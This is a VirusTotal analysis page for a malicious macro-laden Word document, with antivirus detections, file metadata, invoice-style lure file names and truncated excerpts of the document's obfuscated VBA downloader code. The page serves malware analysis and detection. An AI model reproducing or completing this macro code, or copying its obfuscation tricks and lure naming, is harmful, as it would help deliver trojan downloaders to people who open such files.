Antivirus scan for 9ea7fdd0f771117c468b5d93adbf8a0a02816ed85bba0794988c530eb0801beb at 2018-03-20 07:50:06 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180320
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180320
Fortinet	VBA/Agent.HHV!tr	20180320
Rising	Macro.Run.d (CLASSIC)	20180320
Zoner	Probably W97Obfuscated	20180320
Ad-Aware		20180320
AegisLab		20180320
AhnLab-V3		20180319
Alibaba		20180320
ALYac		20180320
Antiy-AVL		20180320
Avast		20180320
Avast-Mobile		20180319
AVG		20180320
Avira (no cloud)		20180320
AVware		20180320
BitDefender		20180320
Bkav		20180319
CAT-QuickHeal		20180320
ClamAV		20180320
CMC		20180320
Comodo		20180320
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180320
Cyren		20180320
DrWeb		20180320
eGambit		20180320
Emsisoft		20180320
Endgame		20180316
ESET-NOD32		20180320
F-Prot		20180320
F-Secure		20180320
GData		20180320
Ikarus		20180319
Sophos ML		20180121
Jiangmin		20180320
K7AntiVirus		20180320
K7GW		20180320
Kaspersky		20180320
Kingsoft		20180320
Malwarebytes		20180320
MAX		20180320
McAfee		20180320
McAfee-GW-Edition		20180320
Microsoft		20180320
eScan		20180320
NANO-Antivirus		20180320
nProtect		20180320
Palo Alto Networks (Known Signatures)		20180320
Panda		20180319
Qihoo-360		20180320
SentinelOne (Static ML)		20180225
Sophos AV		20180320
SUPERAntiSpyware		20180320
Symantec		20180320
Symantec Mobile Insight		20180311
Tencent		20180320
TheHacker		20180319
TrendMicro		20180320
Trustlook		20180320
VBA32		20180319
VIPRE		20180320
ViRobot		20180320
Webroot		20180320
WhiteArmor		20180223
Yandex		20180319
Zillya		20180319
ZoneAlarm by Check Point		20180320

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-20 07:51:00

revision_number

author

Jixaeshyma

page_count

last_saved

2018-03-20 07:51:00

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

characters_with_spaces

version

1048576

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/FkibLVSahQ

[+] Macros/VBA/WnwuqWowSpC

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/aihFTmwsllFBHj

[+] Macros/VBA/dir

[+] Macros/VBA/hqOkifuznfa

[+] Macros/VBA/wQzNbih

[+] WordDocument

Macros and VBA code streams

[+] FkibLVSahQ.bas Macros/VBA/FkibLVSahQ 33041 bytes

obfuscated

Function RsWYFHZ()
On Error Resume Next
      Select Case AuOSv
         Case 45600
            pTSsh = ChrB(Tvwcbv)
            SczcU = NnjAsC
         Case 21453
            RFDfEV = Rnd(DSTXWk)
            zFGWw = Cos(FYzmwH)
      End Select
cPiwMiB = rjBaja("jhH2bBOtgnIRT5uIn54aeRUCES::]laH5uIn54aRam.5uIn54aecIVRESporETNI.EMITnuR[ (oTUagnIrT5uIn54aOTrtp::]lAHSrAm.5uIn54aECIvreo", 2 + 0, 85 + 0)
      Select Case aJTaq
         Case 42539
            CqvzW = ChrB(VPJiEz)
            uqatV = hjsHR
         Case 62881
            LTtzsh = Rnd(YQGKJ)
            VHpOTh = Cos(DPkiZ)
      End Select
      Select Case Kkswd
         Case 41595
            ZFZbX = ChrB(htkGw)
            DadlHu = lJTljT
         Case 67881
            qhwlX = Rnd(SGqUJI)
            mQAqi = Cos(kwhwkC)
      End Select
kZKvt = rjBaja("SQ%iDAmBQOAUDAhBQMAQGA5AwYAEDAiBQYAkDA0AgNAMGA0AQZAEGAyAwNAQGAwAAZAEDAxAQNAgDAhBQOAIGAxAQYAEDA5AwYAkDAzAQNAYDAlB3GKT", 5 + 0, 108 + 0)
      Select Case kMGTqI
         Case 76877
            qMoVYG = ChrB(UnRzmi)
            tSuEhz = IiLih
         Case 14995
            zWiBU = Rnd(vEMVF)
            zcuhnQ = Cos(lTnYl)
      End Select
      Select Case jGiUfo
         Case 17511
            wGCqit = ChrB(jPuEcw)
            BTKzs = KJCCK
         Case 26051
            VVwoni = Rnd(TmTwJw)
            qapRC = Cos(XFOJjw)
      End Select
bBBkHwVn = rjBaja(".C6dYwNAkDA2AwMAADAjBQZAUGAiBQZAMGA4AQMAUGAiBgZAIGA1AgZAgDA1AQOAYGAxAwMAQDAzAQ", 2 + 0, 72 + 0)
      Select Case UpEAfU
         Case 16752
            LRGQuU = ChrB(OANqvw)
            iNkIf = PGoIq
         Case 77947
            diTRo = Rnd(niJiAH)
            frOwq = Cos(vzGqQ)
      End Select
      Select Case MKtdw
         Case 13791
            pfWVbf = ChrB(NwGopB)
            WEvmc = vnTXZ
         Case 15394
            bCqApF = Rnd(CJGha)
            zBwmUI = Cos(tqFzr)
      End Select
oRiOHT = rjBaja("VrNAYDAwAAMAYGAjBgYAMDAjBQOAkDA4AgNAEGA5AgNAkDA1AQYAIDA4AwMAQGA4AANAEGAxAgZAIDA1AA [... continues ...]

[+] wQzNbih.bas Macros/VBA/wQzNbih 16153 bytes

obfuscated

Function iWMKHzIOYFU()
On Error Resume Next
      Select Case snYGzZ
         Case 23079
            YQYEq = ChrB(zmSRK)
            jjljs = LlqHSG
         Case 74160
            FaKVks = Rnd(pUjWH)
            zsBcU = Cos(vGIBpN)
      End Select
zYJFfaWhhr = rjBaja("wR7HFYW5uIn54aR% te5uIn54a&&p=%h5o", 4 + 0, 16 + 0)
      Select Case OaTRw
         Case 34235
            tPYbz = ChrB(SPqPFM)
            qMtpiz = rrzZV
         Case 15508
            ibWDiE = Rnd(MkTafn)
            fPtvcb = Cos(BjdmA)
      End Select
      Select Case uKTwT
         Case 62011
            FYAtC = ChrB(dcrhBk)
            wHjUc = UliMzM
         Case 30340
            VdWTuu = Rnd(PoIcID)
            SzafjG = Cos(mdzWU)
      End Select
CizYsZXQs = rjBaja("D0%JNjEScSt%!&&llU7MMnEK", 8 + 0, 15 + 0)
      Select Case kXLBh
         Case 74846
            IzVNGp = ChrB(iSYrT)
            WSklUd = rizXz
         Case 51213
            HsdHvV = Rnd(pTcNY)
            vZTFHC = Cos(qRnZj)
      End Select
      Select Case jdbCw
         Case 39801
            kGCqNh = ChrB(ZCpZa)
            FNvbQW = zszIzU
         Case 89245
            CZiUww = Rnd(wjfOhq)
            jAijl = Cos(SiAlb)
      End Select
ozjYZJjO = rjBaja("LTB,SENjmcf", 4 + 0, 3 + 0)
      Select Case krJuts
         Case 76002
            XcGEik = ChrB(POvBon)
            JwiQjk = UYztF
         Case 26013
            pmmVuF = Rnd(GtaCBi)
            TEjnC = Cos(iMQcJC)
      End Select
      Select Case ZkJYJ
         Case 24225
            MVUJuk = ChrB(hjSnJJ)
            kijvk = YripYj
         Case 48400
            UsLms = Rnd(vabzFj)
            Obifi = Cos(foBad)
      End Select
atUEddZ = rjBaja("TrVC5UO=%iqUww", 2 + 0, 6 + 0)
      Select Case WKUrf
         Case 70161
            LYNrG = ChrB(RWaKH)
            pBhJQw = uGtiS
         Case 35609
            NWcbjv = Rnd(rXjBk)
            iMCEdt = Cos(nYoBEu)
      End Select
      Select Case SqPwj
         Case 3426
            PFuqhz = ChrB(lOhcJ)
    [... continues ...]

[+] WnwuqWowSpC.bas Macros/VBA/WnwuqWowSpC 6165 bytes

obfuscated

Function YqnWjIPsloXA()
On Error Resume Next
      Select Case dArwwY
         Case 40532
            huJaPm = ChrB(wFETJ)
            WZwMlI = OzRRE
         Case 30108
            SVqzkm = Rnd(EpIRw)
            vOjmd = Cos(wHasj)
      End Select
zYJFfaWhhr = rjBaja("wR7  h5o", 4 + 0, 2 + 0)
      Select Case QzYkc
         Case 84697
            AnCdO = ChrB(iWiSk)
            umwczO = oDRrrd
         Case 12772
            UojUMQ = Rnd(wYslUh)
            dPoqCo = Cos(TVYVwD)
      End Select
      Select Case fkLhw
         Case 56018
            GjBWMD = ChrB(jhVLWJ)
            jdrJP = Nzjju
         Case 39021
            NvidbN = Rnd(HildwI)
            oPjSLX = Cos(zHTXiM)
      End Select
CizYsZXQs = rjBaja("D0           c/U7MMnEK", 8 + 0, 13 + 0)
      Select Case IzUbs
         Case 17338
            nwskI = ChrB(JzrONG)
            YhCOjw = OoPGsA
         Case 33923
            lRBEzR = Rnd(RohCs)
            BPEKbj = Cos(auGsvL)
      End Select
      Select Case jLpmY
         Case 65657
            kRuzt = ChrB(NJlwQ)
            NcIMRE = pTYpBB
         Case 42301
            bVjZTS = Rnd(oHwcz)
            ZMiEi = Cos(otazYh)
      End Select
ozjYZJjO = rjBaja("LTB,S       V/     %^c^mcf", 4 + 0, 18 + 0)
      Select Case sEMcsv
         Case 45008
            mnBZz = ChrB(pnBQo)
            YQGtl = WhBAV
         Case 21652
            raUcfD = Rnd(ZGmYci)
            KzGZjj = Cos(EczSqZ)
      End Select
      Select Case BvDAX
         Case 30147
            WAzGI = ChrB(mvbVo)
            XfMUft = obvKU
         Case 79658
            aqREU = Rnd(POuSzs)
            dwDVGp = Cos(GiobYG)
      End Select
atUEddZ = rjBaja("TrVC5UO^C^%     w", 2 + 0, 9 + 0)
      Select Case aYbqi
         Case 32629
            dviXBz = ChrB(JkuWn)
            ssXZE = qQwBqj
         Case 25314
            oqTbTb = Rnd(zAZwE)
            nztuEk = Cos(IiABm)
      End Select
      Select Case pZfkXs
         Case 30843
            nsDLc = ChrB(mUjKhv)
          [... continues ...]

[+] aihFTmwsllFBHj.bas Macros/VBA/aihFTmwsllFBHj 1307 bytes

create-ole obfuscated run-file

ExifTool file metadata

SharedDoc

Author

Jixaeshyma

HyperlinksChanged

System

Windows

LinksUpToDate

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

CreateDate

2018:03:20 06:51:00

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Word 97-2003 Document

ModifyDate

2018:03:20 06:51:00

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

16.0

Security

None

Software

Microsoft Office Word

TotalEditTime

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

File identification

MD5 fe5e9850416794d916de5d1d2c48d8c4

SHA1 80aa24f25456b343a3bcd0bb3caf2b1fba15e1aa

SHA256 9ea7fdd0f771117c468b5d93adbf8a0a02816ed85bba0794988c530eb0801beb

ssdeep

3072:PDiqk2AJOmjh7MamMF3AfH+REssixQA5ek:PHnAEmjh7xme3yH+REssieA5ek

File size 176.0 KB ( 180224 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Jixaeshyma, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Mar 19 06:51:00 2018, Last Saved Time/Date: Mon Mar 19 06:51:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-20 07:05:38 UTC ( 11 months, 1 week ago )

Last submission 2018-03-21 11:02:19 UTC ( 11 months ago )

File names

Number 60577474-NTI-EFIA.doc
Express 93949584-VCI-HCEA.doc
Number 123450499-KOX-NOYE.doc
Number 9208628-EXPC-SFOK.doc
Express 85963068-AVX-MWBR.doc
55233404770-UC-UTZB.doc
38168980-QQL-WJRE.doc
Express 2719180-YT-DXPWQ.doc
11362963-RTP-KDSUL.doc
Express 0020386-TZR-PCQBM.doc
0849410234-HTDL-ZYY.doc
Number 36957544-FAJ-OYNXF.doc
Number 75261576-ASD-PCKBE.doc
Number 57941281-GEDL-RSPY.doc
Express 97950-WD-LUR.doc
Tracking-118453599-OMYK-NRE.doc
561432684-JAB-DXO.doc
32079759567-FM-UDSD.doc
Tracking-9851598544-RZQ-PFDH.doc
Tracking 1000403-XOD-REY.doc
Express 80545998467-BBM-KVR.doc
005911518-PBG-VUETC.doc
Tracking 9662805-HMU-UCQO.doc
Number 434362067-WKOI-UUX.doc
96753-VARL-SEIK.doc

SHA256:	9ea7fdd0f771117c468b5d93adbf8a0a02816ed85bba0794988c530eb0801beb
Detection ratio:	5 / 58
Analysis date:	2018-03-20 07:50:06 UTC ( 11 months, 1 week ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in